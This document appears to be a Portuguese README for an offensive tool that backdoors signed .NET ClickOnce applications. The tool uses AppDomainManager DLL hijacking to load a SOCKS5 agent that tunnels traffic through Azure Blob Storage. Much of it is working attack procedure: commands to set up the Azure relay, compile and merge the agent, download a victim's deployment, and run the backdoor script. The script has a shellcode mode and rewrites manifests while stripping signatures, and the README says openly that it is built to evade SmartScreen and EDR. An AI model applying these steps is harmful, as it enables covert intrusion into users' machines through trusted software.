
Transforme aplicativos .NET ClickOnce assinados em armas para acesso inicial, sequestrando uma DLL de dependência por meio de injeção de AppDomainManager e carregando uma porta em C# do ProxyBlob Agent.

Arme aplicações .NET ClickOnce assinadas para acesso inicial, sequestrando uma DLL de dependência via injeção de AppDomainManager e carregando uma versão em C# do agente ProxyBlob. Acompanha uma versão em C# do ProxyBlob — um proxy SOCKS5 que tunela todo o tráfego através do Azure Blob Storage, misturando-se em ambientes onde *.blob.core.windows.net está na lista de permissões.
ClickOnce é a tecnologia de implantação com um clique da Microsoft para aplicações .NET. Quando um usuário clica em uma URL .application, o Windows baixa e executa o aplicativo sem exigir privilégios de administrador. O ataque:
.exe.config que instrui o CLR a carregar nossa DLL como AppDomainManagerO .exe hospedeiro permanece intacto e validamente assinado. O SmartScreen vê um binário conhecido. O EDR vê um processo confiável carregando módulos. Seu agente se comunica apenas com o Azure Blob Storage via HTTPS.
├── clickonce_backdoor.py # Main script for backdooring ProxyBlob Agent DLL to ClickOnce App
├── examples/
│ ├── ProxyBlobAgent.cs # ProxyBlob Agent ClickOnce DLL payload (AppDomainManager)
│ ├── ProxyBlobStandalone.cs # Standalone Proxyblob console agent (for testing)
│ ├── ShellcodeLoader.cs # Alternative: shellcode loader payload
│ └── MessageBoxPoC.cs # PoC: message box (validates injection works)
└── README.md
Atacante (Linux/macOS):
Máquina de compilação (Windows):
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe (detectado automaticamente)nuget.exe ao lado do script ou adicione ao PATH (necessário apenas para o modo --proxyblob)O script detecta automaticamente csc.exe e nuget.exe. Para --proxyblob, BouncyCastle e ILMerge são instalados automaticamente via NuGet na primeira execução em um diretório packages/ ao lado do script (persiste entre execuções).
O código do agente é neutro em relação à arquitetura (sem P/Invoke, sem shellcode). A flag --platform (passada para csc.exe /platform:) controla como o CLR o carrega:
--platform | Executa no Windows x86 | Executa no Windows x64 | Quando usar |
|---|---|---|---|
x86 (padrão) | 32 bits | 32 bits (WoW64) | Aplicação alvo é x86 |
x64 | ✗ | 64 bits | Aplicação alvo é x64 |
anycpu | 32 bits | 64 bits | Teste autônomo, ou alvo é AnyCPU |
Verifique uma aplicação alvo com corflags.exe TargetApp.exe para determinar sua plataforma.
# Create storage account
az storage account create \
--name yourblobaccount \
--resource-group yourgroup \
--sku Premium_LRS \
--kind BlockBlobStorage
# Get keys
az storage account keys list --account-name yourblobaccount --output table
Ou use Azurite localmente:
docker run -p 10000:10000 mcr.microsoft.com/azure-storage/azurite
git clone https://github.com/quarkslab/proxyblob && cd proxyblob && make
cat > config.json << 'EOF'
{
"storage_account_name": "yourblobaccount",
"storage_account_key": "YOUR_KEY_HERE"
}
EOF
./proxy -c config.json
No shell do proxy:
proxyblob » create
[+] Created container: d646856a-5ae9-4328-bcfc-d85e762aa345
[+] Connection string: aHR0cHM6Ly95b3VyYmxvYmFjY291bnQuYmxvYi5jb3JlLndpbmRvd3MubmV0Ly4uLg==

Salve essa string de conexão — ela vai para o agente.
Sempre verifique se o agente funciona de forma independente antes da integração com o ClickOnce.
Na máquina de compilação Windows:
# Compile
csc.exe /platform:anycpu /out:ProxyBlobStandalone.exe ^
examples\ProxyBlobStandalone.cs ^
/r:packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
/r:System.Net.Http.dll /r:netstandard.dll
# ILMerge into single exe (so BouncyCastle is embedded)
packages\ILMerge.3.0.41\tools\net452\ILMerge.exe ^
/out:Agent.exe ^
ProxyBlobStandalone.exe ^
packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
/targetplatform:v4
# Run
Agent.exe <connection-string>
De volta ao proxy:
proxyblob » list
d646856a │ username@DESKTOP │ active
proxyblob » select d646856a
proxyblob » start
[+] SOCKS5 proxy listening on 127.0.0.1:1080
Teste:
proxychains curl http://ipconfig.io
Se funcionar, prossiga para a integração com o ClickOnce.
Encontre uma aplicação ClickOnce alvo durante o recon (pesquise por URLs .application). Você precisa:
Baixe toda a implantação do ClickOnce:
# https://github.com/api0cradle/RedTeamScripts/blob/main/application_downloader.py
python3 application_downloader.py -u https://target-site.com/APPLICATION.application

O script compila automaticamente o código-fonte C#, gerencia dependências NuGet (para --proxyblob), mescla ILMerge do BouncyCastle na DLL e corrige todos os manifestos — tudo em uma única execução:

# ProxyBlob mode — auto-compiles, auto-installs NuGet packages, auto-merges
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
--output ./output
# PoC mode — quick validation that injection works
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--poc --output ./output
# Shellcode mode
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--shellcode beacon.bin --output ./output
# x64 target app
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER/ \
--proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
--platform x64 --output ./output

O script lida com: gerar o código-fonte C# com suas configurações embutidas, compilar via csc.exe, mesclar ILMerge do BouncyCastle (para --proxyblob), substituir a DLL, criar .exe.config com injeção AppDomainManager, adicionar ambos os arquivos aos manifestos, recalcular todos os hashes SHA256 e tamanhos de arquivo, remover assinaturas de código, zerar o publicKeyToken do fornecedor e atualizar a URL do provedor de implantação.